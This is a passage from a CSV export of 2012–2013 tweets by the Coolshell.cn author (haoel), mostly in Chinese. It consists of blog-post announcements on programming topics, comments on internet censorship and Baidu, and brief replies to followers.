Problems》https://t.co/4Z7c2Hm3Xh http://t.co/8QPwmWkEMR,\"[TextLink(text='joindiaspora.com/posts/1653418', url='https://joindiaspora.com/posts/1653418', tcourl='https://t.co/4Z7c2Hm3Xh', indices=(14, 37))]\",https://twitter.com/haoel/status/346622966227943425\n5132,342108147646873601,2013-06-05 02:38:33+00:00,5,1,1,,酷壳 Coolshell.cn - Javascript 装载和执行: 一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载… http://t.co/EzLeZakiTz,\"[TextLink(text='goo.gl/fb/7e6RT', url='http://goo.gl/fb/7e6RT', tcourl='http://t.co/EzLeZakiTz', indices=(95, 117))]\",https://twitter.com/haoel/status/342108147646873601\n5133,340464379143270402,2013-05-31 13:46:48+00:00,5,25,4,,明天是儿童节，我希望我们的孩子能吃上安全的食物，呼吸清洁的空气，再也不发生被变态老师体罚、虐待、猥亵的事件。我更希望他们能独立思考不被洗脑，能天真无邪而不小肚鸡肠，能乐于助人而不唯利是图，能积极向上充满热情地快乐生活。所以，希望我们每个成年人都能为我们的下一代做个榜样，并尽份力。,,https://twitter.com/haoel/status/340464379143270402\n5134,340098483384090624,2013-05-30 13:32:51+00:00,2,2,1,,酷壳 Coolshell.cn - 无锁HashMap的原理与实现: (本文由onetwogoo投稿) 在《疫苗：Java HashMap的死循环》中，我们看到，java.util… http://t.co/FwCTz6w4rl,\"[TextLink(text='goo.gl/fb/tt4jA', url='http://goo.gl/fb/tt4jA', tcourl='http://t.co/FwCTz6w4rl', indices=(92, 114))]\",https://twitter.com/haoel/status/340098483384090624\n5135,336999654040424448,2013-05-22 00:19:13+00:00,14,7,3,,酷壳 Coolshell.cn - 浏览器的渲染原理简介: 看到这个标题大家一定会想到这篇神文《How Browsers Work》，这篇文章把浏览器的很多细节讲得很细，而且也被翻译成了… http://t.co/rLpBc5ZXic,\"[TextLink(text='goo.gl/fb/klhTG', url='http://goo.gl/fb/klhTG', tcourl='http://t.co/rLpBc5ZXic', indices=(95, 117))]\",https://twitter.com/haoel/status/336999654040424448\n5136,335352342323015680,2013-05-17 11:13:23+00:00,0,0,1,,@imagelife 你不怕认错人了？哈。,,https://twitter.com/haoel/status/335352342323015680\n5137,335350727717314560,2013-05-17 11:06:58+00:00,0,0,1,,@imagelife 华星科技？还是华星广场？还是华星现代？,,https://twitter.com/haoel/status/335350727717314560\n5138,332657902034767873,2013-05-10 00:46:38+00:00,4,2,0,,酷壳 Coolshell.cn - 疫苗：Java HashMap的死循环: 在淘宝内网里看到同事发了贴说了一个CPU被100%的线上故障，并且这个事发生了很多次，原因是在Java语言在… http://t.co/JszxKn0z1l,\"[TextLink(text='goo.gl/fb/t5Sud', url='http://goo.gl/fb/t5Sud', tcourl='http://t.co/JszxKn0z1l', indices=(95, 117))]\",https://twitter.com/haoel/status/332657902034767873\n5139,328801168786587648,2013-04-29 09:21:22+00:00,0,0,0,,酷壳 Coolshell.cn - “C++的数组不支持多态”？: 先是在微博上看到了个微博和云风的评论，然后我回了“楼主对C的内存管理不了解”。 后来引发了很多人的讨论，大量的人又借机… http://t.co/wp6iLRloXN,\"[TextLink(text='goo.gl/fb/m81jj', url='http://goo.gl/fb/m81jj', tcourl='http://t.co/wp6iLRloXN', indices=(95, 117))]\",https://twitter.com/haoel/status/328801168786587648\n5140,327793514530340864,2013-04-26 14:37:18+00:00,8,8,0,,酷壳 Coolshell.cn - Unix考古记：一个“遗失”的shell: (感谢网友Leo投递此文) 谨以此文纪念伟大的计算机科学巨匠Ken Thompson和Dennis… http://t.co/0Umg660E9M,\"[TextLink(text='goo.gl/fb/63GQt', url='http://goo.gl/fb/63GQt', tcourl='http://t.co/0Umg660E9M', indices=(91, 113))]\",https://twitter.com/haoel/status/327793514530340864\n5141,326292186075373568,2013-04-22 11:11:34+00:00,7,2,0,,这游戏很帅。打开 http://t.co/r2F0nrL7hE，用你的手机扫描网页上的二维码，然后得到一个URL，在手机上打开这个URL。然后网页上的游戏开始，此时你可以用你的手机平衡控制网页上的小飞机（就像开赛车一样）,\"[TextLink(text='webdigi.co.uk/fun/space/', url='http://www.webdigi.co.uk/fun/space/', tcourl='http://t.co/r2F0nrL7hE', indices=(9, 31))]\",https://twitter.com/haoel/status/326292186075373568\n5142,326010851121319937,2013-04-21 16:33:38+00:00,2,1,0,,酷壳 Coolshell.cn - PFIF网上寻人协议: 本文的主要内容来自Wikipedia(http://t.co/7NhuWyaO5t… http://t.co/0xrloDoAX1,\"[TextLink(text='en.wikipedia.org/wiki/People_Fi…', url='http://en.wikipedia.org/wiki/People_Finder', tcourl='http://t.co/7NhuWyaO5t', indices=(49, 71)), TextLink(text='goo.gl/fb/NHXw4', url='http://goo.gl/fb/NHXw4', tcourl='http://t.co/0xrloDoAX1', indices=(73, 95))]\",https://twitter.com/haoel/status/326010851121319937\n5143,325838590800183298,2013-04-21 05:09:08+00:00,1,9,2,,迁就用户并不是好的用户体验，而引导用户并给予他们更好更安全的东西才是最好的用户体验，才是有情怀的用户体验。一切还支持IE6的网站，其实并没有把用户当上帝，而是把用户当猪在陷害用户。(不好意思，对猪不尊重了),,https://twitter.com/haoel/status/325838590800183298\n5144,325269564545966080,2013-04-19 15:28:02+00:00,0,3,1,,无意间看到篇旧闻：http://t.co/5w41MmPLAF （评论也有点意思）,\"[TextLink(text='news.163.com/10/1208/19/6ND…', url='http://news.163.com/10/1208/19/6NDF8O1B00014JB5.html', tcourl='http://t.co/5w41MmPLAF', indices=(9, 31))]\",https://twitter.com/haoel/status/325269564545966080\n5145,319092296396177408,2013-04-02 14:21:46+00:00,8,28,0,,为了知错就改而默默转发 http://t.co/jlos7L5jhK http://t.co/jjNoa4fI3Q,\"[TextLink(text='weibo.com/3154182872/zqj…', url='http://weibo.com/3154182872/zqjReojuu', tcourl='http://t.co/jlos7L5jhK', indices=(12, 34))]\",https://twitter.com/haoel/status/319092296396177408\n5146,315485120528281600,2013-03-23 15:28:08+00:00,0,0,1,,@songma 好像商标法里相关侵权的条款对此无效。,,https://twitter.com/haoel/status/315485120528281600\n5147,315391879246131200,2013-03-23 09:17:38+00:00,2,37,15,,百度在线网络技术（北京）有限公司给我的律师函。 http://t.co/OQWodszVit,,https://twitter.com/haoel/status/315391879246131200\n5148,312936424846528512,2013-03-16 14:40:32+00:00,3,1,0,,Programming Language Popularity Index: http://t.co/jDQCMz2i7g,\"[TextLink(text='langpop.corger.nl/#.UUSDh1899Ko.…', url='http://langpop.corger.nl/#.UUSDh1899Ko.twitter', tcourl='http://t.co/jDQCMz2i7g', indices=(39, 61))]\",https://twitter.com/haoel/status/312936424846528512\n5149,312593266359025664,2013-03-15 15:56:57+00:00,15,80,3,,在一个老百姓被各种垄断行业虐待的国度里说苹果服务太差；在一个各种劣质产品的国度里说99%的黄金是骗子；在一个完全没有个人隐私甚至人民主动上传手机通讯录的国度里谈Cookie隐私；一边曝光包治百病的神医，一边宣扬永远伟大的XX党⋯我感到的是这个国度的精神和人格不是一般的分裂。,,https://twitter.com/haoel/status/312593266359025664\n5150,310921835950792704,2013-03-11 01:15:16+00:00,3,7,0,,酷壳 Coolshell.cn - 《Rework》摘录及感想: 读了《Rework》这本书好多遍，每次读都有不同的感想。但从来没有把这些感想记录下来，今天把《Rework》书中的一些… http://t.co/OyMRqHYJEi,\"[TextLink(text='goo.gl/fb/D8sWU', url='http://goo.gl/fb/D8sWU', tcourl='http://t.co/OyMRqHYJEi', indices=(94, 116))]\",https://twitter.com/haoel/status/310921835950792704\n5151,309000093850296321,2013-03-05 17:58:57+00:00,1,0,0,,酷壳 Coolshell.cn - 实例分析Java Class的文件结构: 【感谢网友 @Krq_Tiger 投稿】 今天把之前在Evernote中的笔记重新整理了一下，发上来供对… http://t.co/siOGtu7gYj,\"[TextLink(text='goo.gl/fb/7n4g0', url='http://goo.gl/fb/7n4g0', tcourl='http://t.co/siOGtu7gYj', indices=(93, 115))]\",https://twitter.com/haoel/status/309000093850296321\n5152,307110050948866048,2013-02-28 12:48:36+00:00,3,1,1,,酷壳 Coolshell.cn - 并发框架Disruptor译文: （感谢同事方腾飞投递本文） Martin Fowler在自己网站上写了一篇LMAX架构的文章，在文章中他介绍了… http://t.co/uQ9wlrQVaO,\"[TextLink(text='goo.gl/fb/940RI', url='http://goo.gl/fb/940RI', tcourl='http://t.co/uQ9wlrQVaO', indices=(92, 114))]\",https://twitter.com/haoel/status/307110050948866048\n5153,304589964866363395,2013-02-21 13:54:41+00:00,9,57,17,,前几天为CoolShell.cn做了一个拒绝百度的弹窗（从百度过来到CoolShell的访问会有弹窗），今天收到百度法务部的邮件了。 http://t.co/6Fm9yyyELJ,,https://twitter.com/haoel/status/304589964866363395\n5154,304265646814920705,2013-02-20 16:25:57+00:00,5,9,0,,很多时候，我们的程序中某堆变量的内存地址会和你聊天。就像下图一样的badbad。还会和你说“dead babe” 或是 “dead lock”之类的东西。参看wikipedia的相关词条：http://t.co/m8VHlVxx http://t.co/HLOPxcDB,\"[TextLink(text='en.wikipedia.org/wiki/Hexspeak#…', url='http://en.wikipedia.org/wiki/Hexspeak#Notable_magic_numbers', tcourl='http://t.co/m8VHlVxx', indices=(94, 114))]\",https://twitter.com/haoel/status/304265646814920705\n5155,304032563444461568,2013-02-20 00:59:46+00:00,7,5,4,,酷壳 Coolshell.cn - sed 简明教程: awk于1977年出生，今年36岁本命年，sed比awk大2-3岁，awk就像林妹妹，sed就是宝玉哥哥了。所以 林妹妹跳了个… http://t.co/VMRA4Bwo,\"[TextLink(text='goo.gl/fb/6fO2k', url='http://goo.gl/fb/6fO2k', tcourl='http://t.co/VMRA4Bwo', indices=(93, 113))]\",https://twitter.com/haoel/status/304032563444461568\n5156,303904352345653251,2013-02-19 16:30:18+00:00,2,7,2,,用Chrome访问CoolShell（http://t.co/GnBkFkk9），页面的右上角有个“High一下”的链接，把它拖到你的收藏夹工具栏中，然后回到twitter，点一下那个按钮。呵呵。 http://t.co/dZPNqo3F,\"[TextLink(text='t.cn/h9gi8', url='http://t.cn/h9gi8', tcourl='http://t.co/GnBkFkk9', indices=(19, 39))]\",https://twitter.com/haoel/status/303904352345653251\n5157,302940310709874690,2013-02-17 00:39:33+00:00,17,11,1,,酷壳 Coolshell.cn - AWK 简明教程: 有一些网友看了前两天的《Linux下应该知道的技巧》希望我能教教他们用awk和sed，所以，出现了这篇文章。我估计这些80后的年轻… http://t.co/yX13FeIA,\"[TextLink(text='goo.gl/fb/fTFLR', url='http://goo.gl/fb/fTFLR', tcourl='http://t.co/yX13FeIA', indices=(95, 115))]\",https://twitter.com/haoel/status/302940310709874690\n5158,300622719639244801,2013-02-10 15:10:16+00:00,0,0,1,,@TonnyXu 我现在在北京生根了。如果不嫌弃北京的PM2.5，有空回国的时候，我们可以一起聊聊。我现在在阿里巴巴，刚来两个月不到，跟创业似的。呵呵。,,https://twitter.com/haoel/status/300622719639244801\n5159,300621218241974272,2013-02-10 15:04:18+00:00,0,0,1,,@TonnyXu 那是我一年多前的文章了，见笑了。来日本对我来说并不容易。如果你回国不妨联系我。,,https://twitter.com/haoel/status/300621218241974272\n5160,298421908771307522,2013-02-04 13:25:02+00:00,1,7,0,,Scott Meyes 又要准备写 &lt;Effective C++ 11&gt; http://t.co/C6XeX7Tc http://t.co/zPgwmmFu,\"[TextLink(text='scottmeyers.blogspot.de/2013/01/effect…', url='http://scottmeyers.blogspot.de/2013/01/effective-c11-content-and-status.html', tcourl='http://t.co/C6XeX7Tc', indices=(43, 63))]\",https://twitter.com/haoel/status/298421908771307522\n5161,298227833363369986,2013-02-04 00:33:50+00:00,4,0,0,,酷壳 Coolshell.cn - Linus：利用二级指针删除单向链表: 感谢网友full_of_bull投递此文（注：此文最初发表在这个这里，我对原文后半段修改了许多，并加入了插图… http://t.co/cVrAS8u7,\"[TextLink(text='goo.gl/fb/61yFP', url='http://goo.gl/fb/61yFP', tcourl='http://t.co/cVrAS8u7', indices=(94, 114))]\",https://twitter.com/haoel/status/298227833363369986\n5162,297136403681247233,2013-02-01 00:16:53+00:00,6,3,0,,酷壳 Coolshell.cn - 从面向对象的设计模式看软件设计: 前些天发了一篇《如此理解面向对象编程》的文章，然后引起了大家的热议。然后我在微博上说了一句——“那23个经典的设计… http://t.co/1yl0o4HO,\"[TextLink(text='goo.gl/fb/hBvqd', url='http://goo.gl/fb/hBvqd', tcourl='http://t.co/1yl0o4HO', indices=(94, 114))]\",https://twitter.com/haoel/status/297136403681247233\n5163,295545162585755648,2013-01-27 14:53:52+00:00,1,2,3,,事情被炒到了知乎 http://t.co/38XG9NXK。道理越辨越明！是的，不去责怪墙的始作俑者，而是责怪帮我们申张权力的人，这真是一种可悲。,\"[TextLink(text='zhihu.com/question/20744…', url='http://www.zhihu.com/question/20744543', tcourl='http://t.co/38XG9NXK', indices=(9, 29))]\",https://twitter.com/haoel/status/295545162585755648\n5164,295363892803162112,2013-01-27 02:53:34+00:00,38,65,1,,这是图灵社区 专访《大数据》作者Jeffery Ullman教授 的贴子 http://t.co/i0Eg9Tsq 。在这个采访的英文版（http://t.co/VocVqSXG）里我看到了第9条是中文版里没有的。大家看看这个老头的气质！ http://t.co/LJxYLd0O,\"[TextLink(text='ituring.com.cn/Article/26020', url='http://www.ituring.com.cn/Article/26020', tcourl='http://t.co/i0Eg9Tsq', indices=(37, 57)), TextLink(text='ituring.com.cn/article/24906', url='http://www.ituring.com.cn/article/24906', tcourl='http://t.co/VocVqSXG', indices=(69, 89))]\",https://twitter.com/haoel/status/295363892803162112\n5165,295353427054194688,2013-01-27 02:11:59+00:00,0,0,0,,@wytao 其实国家已经在Github上放很多非技术的东西，包括政治的东西了。都没有听说别的国家审查了什么。,,https://twitter.com/haoel/status/295353427054194688\n5166,295211978480308225,2013-01-26 16:49:55+00:00,4,16,0,,微博网友（ZhangGang_HNTRI）at我说：”在关于github是否该放不和谐内容这个问题上以及后续争论上，我觉得鲁迅先生的《聪明人和傻子和奴才》实在是太应景了，真的，最巧的是里面有个“砸墙的傻子”“，还真是这样的。,,https://twitter.com/haoel/status/295211978480308225\n5167,295183246331887616,2013-01-26 14:55:44+00:00,0,0,1,,@iwinux 靠，我没那么贱吧。,,https://twitter.com/haoel/status/295183246331887616\n5168,295181664286552064,2013-01-26 14:49:27+00:00,0,5,5,,我想告诉大家别因为网站被墙而开展自我审查。结果我成了——努力让网站被墙的原教旨程序员“傻逼”。呵呵。,,https://twitter.com/haoel/status/295181664286552064\n5169,295128731595456512,2013-01-26 11:19:07+00:00,6,30,2,,Github上的这个列表（https://t.co/KPRbUyxU）本来没什么，但现在的回复非常有意思，大家去围观吧。那里不是在讨论该不该声讨GFW，而是在政府没有要求的情况下进行自我审查了，这个事件因为我的微博发而更加耐人寻味。 http://t.co/dxxZrCQN,\"[TextLink(text='gist.github.com/4635732', url='https://gist.github.com/4635732', tcourl='https://t.co/KPRbUyxU', indices=(13, 34))]\",https://twitter.com/haoel/status/295128731595456512\n5170,295123714847150080,2013-01-26 10:59:11+00:00,0,0,0,,@songma 看到了，这就是@robbinfan 他的可悲之处！,,https://twitter.com/haoel/status/295123714847150080\n5171,295121545058217984,2013-01-26 10:50:34+00:00,0,0,0,,@robbinfan 气极败坏骂粗口了。呵呵。,,https://twitter.com/haoel/status/295121545058217984\n5172,295104238684631040,2013-01-26 09:41:47+00:00,6,33,4,,程序员能不能拿出点气质来？！封个网站并没什么，怕啥，你封了谷歌/Github，我就用他们用得更多，你越封我越用，这才是对他最好的嘲笑，而不是你越封我越怕。看到github上https://t.co/KPRbUyxU 那些求删帖的人，你们已经开始慢慢学会自查和自宫了。,\"[TextLink(text='gist.github.com/4635732', url='https://gist.github.com/4635732', tcourl='https://t.co/KPRbUyxU', indices=(86, 107))]\",https://twitter.com/haoel/status/295104238684631040\n5173,289013640131117056,2013-01-09 14:19:56+00:00,0,0,1,,@commie6 多上机写程序。：）,,https://twitter.com/haoel/status/289013640131117056\n5174,288805061595889664,2013-01-09 00:31:07+00:00,14,5,0,,酷壳 Coolshell.cn - 你应该知道的Linux技巧: 这篇文章来源于Quroa的一个问答《What are some time-saving tips that every… http://t.co/KK2lP4Hw,\"[TextLink(text='goo.gl/fb/qxHT9', url='http://goo.gl/fb/qxHT9', tcourl='http://t.co/KK2lP4Hw', indices=(94, 114))]\",https://twitter.com/haoel/status/288805061595889664\n5175,284464236460138498,2012-12-28 01:02:13+00:00,7,8,0,,酷壳 Coolshell.cn - 程序算法与人生选择: 每年一到要找工作的时候，我就能收到很多人给我发来的邮件，总是问我怎么选择他们的offer，去腾讯还是去豆瓣，去外企还是去国内的… http://t.co/XrfMx0NT,\"[TextLink(text='goo.gl/fb/3LTJt', url='http://goo.gl/fb/3LTJt', tcourl='http://t.co/XrfMx0NT', indices=(94, 114))]\",https://twitter.com/haoel/status/284464236460138498\n5176,281068514209570816,2012-12-18 16:08:50+00:00,10,3,0,,酷壳 Coolshell.cn - Web工程师的工具箱: 本文出自Ivan Zuzak 的《The Web engineer’s online toolbox》，作者给了一个各种可以用… http://t.co/Edt6Cc3Z,\"[TextLink(text='goo.gl/fb/DNBQH', url='http://goo.gl/fb/DNBQH', tcourl='http://t.co/Edt6Cc3Z', indices=(95, 115))]\",https://twitter.com/haoel/status/281068514209570816\n5177,278726827516776448,2012-12-12 05:03:49+00:00,0,5,1,,帝都下雪了，这雪下的是 opacity:0.6 http://t.co/FrDSlJYw,,https://twitter.com/haoel/status/278726827516776448\n5178,277934768803422208,2012-12-10 00:36:27+00:00,4,4,0,,酷壳 Coolshell.cn - 程序员疫苗：代码注入: 几个月在我的微博上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序… http://t.co/OvXGO9MP,\"[TextLink(text='goo.gl/fb/KyaI9', url='http://goo.gl/fb/KyaI9', tcourl='http://t.co/OvXGO9MP', indices=(95, 115))]\",https://twitter.com/haoel/status/277934768803422208\n5179,275059857260965889,2012-12-02 02:12:34+00:00,2,11,2,,又在微博上看到有人骂推崇西方文化的人为“西奴”，说——“不爱国不支持自己国家的西奴请滚出去”，这句话说得就好像马列主义不是从西方来的一样，要是按照这样的逻辑，那些坚持马列主义社会主义道路的，不就最大的“西奴” 嘛！,,https://twitter.com/haoel/status/275059857260965889\n5180,271770060698312704,2012-11-23 00:20:06+00:00,7,5,0,,酷壳 Coolshell.cn - 你可能不知道的Shell: （感谢404null投稿） Shell也叫做命令行界面，它是*nix操作系统下用户和计算机的交互界面。Shell这个词是指… http://t.co/cuajD8pH,\"[TextLink(text='goo.gl/fb/vXrgd', url='http://goo.gl/fb/vXrgd', tcourl='http://t.co/cuajD8pH', indices=(95, 115))]\",https://twitter.com/haoel/status/271770060698312704\n5181,271640785462644737,2012-11-22 15:46:24+00:00,0,0,0,,@meidoor 我不知道，程序不是我写的。微信传不传我不知道。有些事情，小心为好。,,https://twitter.com/haoel/status/271640785462644737\n5182,271631473747050496,2012-11-22 15:09:24+00:00,2,13,1,,关于微信或米聊这类的软件，也许大家会觉得这和我丢了网银口令一样，但是，我们仔细想一下，大家都在把通讯录和聊天记录传到一家公司的某台服务器上，你就明白这其中的不同了。,,https://twitter.com/haoel/status/271631473747050496\n5183,271622673031892992,2012-11-22 14:34:26+00:00,0,1,0,,@feuword 用户的上网记录得保存至少60天啊。,,https://twitter.com/haoel/status/271622673031892992\n5184,271571438899720193,2012-11-22 11:10:51+00:00,1,4,1,,酷壳 Coolshell.cn - 为什么不能用微信或米聊这类的软件: 前两天，我在我的微博上发了一条微博，说腾讯微信的用户体验没有传说中的那么牛。有网友如下答复我： 事由 今天下午，我… http://t.co/gRanjRD8,\"[TextLink(text='goo.gl/fb/Ex8sw', url='http://goo.gl/fb/Ex8sw', tcourl='http://t.co/gRanjRD8', indices=(95, 115))]\",https://twitter.com/haoel/status/271571438899720193\n5185,270744987589804033,2012-11-20 04:26:49+00:00,0,0,0,,@LangBai 身体第一，没啥好想的。,,https://twitter.com/haoel/status/270744987589804033\n5186,270683545087905793,2012-11-20 00:22:40+00:00,8,1,0,,酷壳 Coolshell.cn - 如何测试洗牌程序: 我希望本文有助于你了解测试软件是一件很重要也是一件不简单的事。 我们有一个程序，叫ShuffleArray()，是用来洗牌的，我见… http://t.co/4Sk09B4v,\"[TextLink(text='goo.gl/fb/gyL6a', url='http://goo.gl/fb/gyL6a', tcourl='http://t.co/4Sk09B4v', indices=(95, 115))]\",https://twitter.com/haoel/status/270683545087905793\n5187,269610266877128704,2012-11-17 01:17:51+00:00,8,6,1,,人如果不尊重现实，你将没有今天；人如果没有理想，你将没有明天。所以，但凡在残酷无情的现实中缓过劲儿来，就应该残酷无情地去追求自己的理想。,,https://twitter.com/haoel/status/269610266877128704\n5188,269608575544999936,2012-11-17 01:11:08+00:00,1,0,0,,@haoel 想知道这是为什么的话，你可以看看StackOverflow的这两个问题：http://t.co/WcpBHWnE  和 http://t.co/ZRcNqpJe,\"[TextLink(text='t.cn/zjA7px3', url='http://t.cn/zjA7px3', tcourl='http://t.co/WcpBHWnE', indices=(43, 63)), TextLink(text='t.cn/zjZogxm', url='http://t.cn/zjZogxm', tcourl='http://t.co/ZRcNqpJe', indices=(67, 87))]\",https://twitter.com/haoel/status/269608575544999936\n5189,269462235703808000,2012-11-16 15:29:38+00:00,3,15,1,,Android 的两个 判断用户是猴子还是山羊的 API: UserManager.isUserAGoat() http://t.co/vjLdV5E6，ActivityManager.isUserAMonkey() http://t.co/m960zWtW 。,\"[TextLink(text='developer.android.com/reference/andr…', url='http://developer.android.com/reference/android/os/UserManager.html#isUserAGoat%28%29', tcourl='http://t.co/vjLdV5E6', indices=(56, 76)), TextLink(text='developer.android.com/reference/andr…', url='http://developer.android.com/reference/android/app/ActivityManager.html#isUserAMonkey%28%29', tcourl='http://t.co/m960zWtW', indices=(109, 129))]\",https://twitter.com/haoel/status/269462235703808000\n5190,269461918299848704,2012-11-16 15:28:22+00:00,2,2,1,,有人在SO问了一个问题：怎么用Js区分iPad2和iPad Mini，第一个答案是播放立体声音频，比较两边的音量，iPad2是单声道，iPad mini是立体声。然后还做了个网页来证明他的想法：http://t.co/XE5CgMMz - http://t.co/qBBOnEwW,\"[TextLink(text='t.cn/zjwHqhe', url='http://t.cn/zjwHqhe', tcourl='http://t.co/XE5CgMMz', indices=(97, 117)), TextLink(text='t.cn/zjwHqhD', url='http://t.cn/zjwHqhD', tcourl='http://t.co/qBBOnEwW', indices=(120, 140))]\",https://twitter.com/haoel/status/269461918299848704\n5191,266741277729619968,2012-11-09 03:17:31+00:00,0,0,0,,@LangBai 有啊，@左耳朵耗子,,https://twitter.com/haoel/status/266741277729619968\n5192,266026742303563776,2012-11-07 03:58:12+00:00,1,0,0,,@innocentim 的确没有讨论到点子上。不过大家开始有讨论了，这也算是一个进步了。呵呵。,,https://twitter.com/haoel/status/266026742303563776\n5193,265971501885448193,2012-11-07 00:18:42+00:00,6,1,1,,酷壳 Coolshell.cn - Go 语言简介（下）— 特性: 希望你看到这篇文章的时候还是在公交车和地铁上正在上下班的时间，我希望我的这篇文章可以让你利用这段时间了解一门语言。当然… http://t.co/HHQgpwz0,\"[TextLink(text='goo.gl/fb/b42hQ', url='http://goo.gl/fb/b42hQ', tcourl='http://t.co/HHQgpwz0', indices=(95, 115))]\",https://twitter.com/haoel/status/265971501885448193\n5194,265637033601552384,2012-11-06 02:09:38+00:00,0,0,0,,@yisu_02 我以前写HTML/JS的时候只有一个记事本或是一个Vi，所以，以前吃糠吃多了，现在反而觉得吃什么都很爽了。呵呵。,,https://twitter.com/haoel/status/265637033601552384\n5195,265633780449038336,2012-11-06 01:56:43+00:00,0,0,1,,@yisu_02 直接在线写的。呵呵,,https://twitter.com/haoel/status/265633780449038336\n5196,265611523270004736,2012-11-06 00:28:16+00:00,8,3,1,,酷壳 Coolshell.cn - Go 语言简介（上）— 语法: 周末天气不好，只能宅在家里，于是就顺便看了一下Go语言，觉得比较有意思，所以写篇文章介绍一下。我想写一篇你可以在在乘坐… http://t.co/tNb4KI4x,\"[TextLink(text='goo.gl/fb/mtPZ1', url='http://goo.gl/fb/mtPZ1', tcourl='http://t.co/tNb4KI4x', indices=(95, 115))]\",https://twitter.com/haoel/status/265611523270004736\n5197,260910089064574976,2012-10-24 01:06:27+00:00,3,2,0,,酷壳 Coolshell.cn - TF-IDF模型的概率解释: 信息检索概述 信息检索是当前应用十分广泛的一种技术，论文检索、搜索引擎都属于信息检索的范畴。通常，人们把信息检索问题抽象… http://t.co/dzp7NhCu,\"[TextLink(text='goo.gl/fb/XG4dx', url='http://goo.gl/fb/XG4dx', tcourl='http://t.co/dzp7NhCu', indices=(95, 115))]\",https://twitter.com/haoel/status/260910089064574976\n5198,257998569791967232,2012-10-16 00:17:07+00:00,6,10,0,,酷壳 Coolshell.cn - xkcd 神图“Click and Drag”: xkcd对于经常浏览国外网站的朋友一定不会陌生。不过，还是先让我来介绍一下xkcd（维基百科词条… http://t.co/6AOF9UN8,\"[TextLink(text='goo.gl/fb/WC9SW', url='http://goo.gl/fb/WC9SW', tcourl='http://t.co/6AOF9UN8', indices=(93, 113))]\",https://twitter.com/haoel/status/257998569791967232\n5199,257400561849225218,2012-10-14 08:40:50+00:00,2,0,0,,酷壳 Coolshell.cn - Bret Victor – Learnable Programming: 大家是否还记得之前酷壳向大家介绍的苹果设计师Bret Victor一种可视编… http://t.co/LGOmUZWx,\"[TextLink(text='goo.gl/fb/VuiLz', url='http://goo.gl/fb/VuiLz', tcourl='http://t.co/LGOmUZWx', indices=(95, 115))]\",https://twitter.com/haoel/status/257400561849225218\n5200,256777930192068608,2012-10-12 15:26:43+00:00,0,0,1,,@RocketsTsukomi  毕业生好像就是这个数。,,https://twitter.com/haoel/status/256777930192068608\n5201,256639898184986624,2012-10-12 06:18:14+00:00,0,0,1,,@multiple1902 @RocketsTsukomi 我觉得还可以。但不知你的期望值。,,https://twitter.com/haoel/status/256639898184986624\n5202,256639002055176192,2012-10-12 06:14:40+00:00,10,17,1,,推荐一个在网页上读代码小工具：http://t.co/Cz4Uu0hf （http://t.co/k2tetO6K），上这个网站，把网页下面的圈了又圈的那个图标拖到浏览器的工具栏收藏夹里成一个小图标，这样，当你在网上浏览到一些代码的时候，点一下这个图标，网页的代码就可以高亮了。,\"[TextLink(text='syntaclet.com', url='http://www.syntaclet.com', tcourl='http://t.co/Cz4Uu0hf', indices=(15, 35)), TextLink(text='t.cn/heYQvd', url='http://t.cn/heYQvd', tcourl='http://t.co/k2tetO6K', indices=(37, 57))]\",https://twitter.com/haoel/status/256639002055176192\n5203,251261462608244736,2012-09-27 10:06:15+00:00,0,0,0,,@txyyss 是的。,,https://twitter.com/haoel/status/251261462608244736\n5204,251255965435957248,2012-09-27 09:44:24+00:00,0,0,1,,@txyyss SQL注入没什么问题，但是@caoz被疯转的微博吐槽的是 like % xxx %，我主要针对的就是这个。,,https://twitter.com/haoel/status/251255965435957248\n5205,251248948667351040,2012-09-27 09:16:32+00:00,1,3,1,,新浪微博上疯转 @caoz 的 12306的出错的截图，大家都在嘲笑SQL中的like，刚去看了一下（（http://t.co/fUv5jbKt））就是一张字典表的查询，也就几十条记录。这样写没什么问题。一旦群情激愤，就开始不加思索了…… http://t.co/483jqGmf,\"[TextLink(text='t.cn/zl4pA6A', url='http://t.cn/zl4pA6A', tcourl='http://t.co/fUv5jbKt', indices=(52, 72))]\",https://twitter.com/haoel/status/251248948667351040\n5206,250986701240020992,2012-09-26 15:54:27+00:00,0,0,1,,@kenny_yuan 呵呵，我一直在和你解释，从没有批评过你的观点。只是你在说另一个事罢了。,,https://twitter.com/haoel/status/250986701240020992\n5207,250984443165167617,2012-09-26 15:45:28+00:00,0,1,1,,@kenny_yuan 呵呵，你极端地非黑即白地理解了我的观点。,,https://twitter.com/haoel/status/250984443165167617\n5208,250980599949557760,2012-09-26 15:30:12+00:00,0,0,1,,@kenny_yuan 呵呵。我也只是想说，你打了1万只兔子，也不如别人攻一座城。,,https://twitter.com/haoel/status/250980599949557760\n5209,250979833490849792,2012-09-26 15:27:09+00:00,1,0,1,,@kenny_yuan 这又不是什么对与错的事。你破解个Word挣个5千就很高兴了，你可以做个安全专家，为别人修改一个安全问题，挣的就是这个数十倍了。写个lib挣个3万5，你要是能做个业内认可以lib，挣的就是不是这个数了。还是理解不同。,,https://twitter.com/haoel/status/250979833490849792\n5210,250974216806096896,2012-09-26 15:04:50+00:00,31,35,2,,不要浪费你的时间在那些小私活小玩意上，因为你可以用这些时间干更有价值能提升自己的事。不要浪费你的时间在那些为了创业而创业的项目上，因为你可以用这些时间去经历更多有意义有价值的事。你本可以潜心积累去干攻城拔寨的事，但你却屡屡去追一只路过的兔子。这不就等自废前程。,,https://twitter.com/haoel/status/250974216806096896\n5211,248959308736364545,2012-09-21 01:38:19+00:00,0,0,0,,@xiateng 翻译地早了，谢谢批评，欢迎指正我的错误。,,https://twitter.com/haoel/status/248959308736364545\n5212,248596960985116672,2012-09-20 01:38:28+00:00,8,1,0,,酷壳 Coolshell.cn - C/C++语言中闭包的探究及比较: （感谢投稿人 @思禽饮霜 ） 这里主要讨论的是C语言的扩展特性block。该特性是Apple为C、C++… http://t.co/gzeFF6D5,\"[TextLink(text='goo.gl/fb/N9Qgz', url='http://goo.gl/fb/N9Qgz', tcourl='http://t.co/gzeFF6D5', indices=(90, 110))]\",https://twitter.com/haoel/status/248596960985116672\n5213,248272486788120576,2012-09-19 04:09:08+00:00,0,0,0,,@kenlakoo 谢谢,,https://twitter.com/haoel/status/248272486788120576\n5214,246642829223399424,2012-09-14 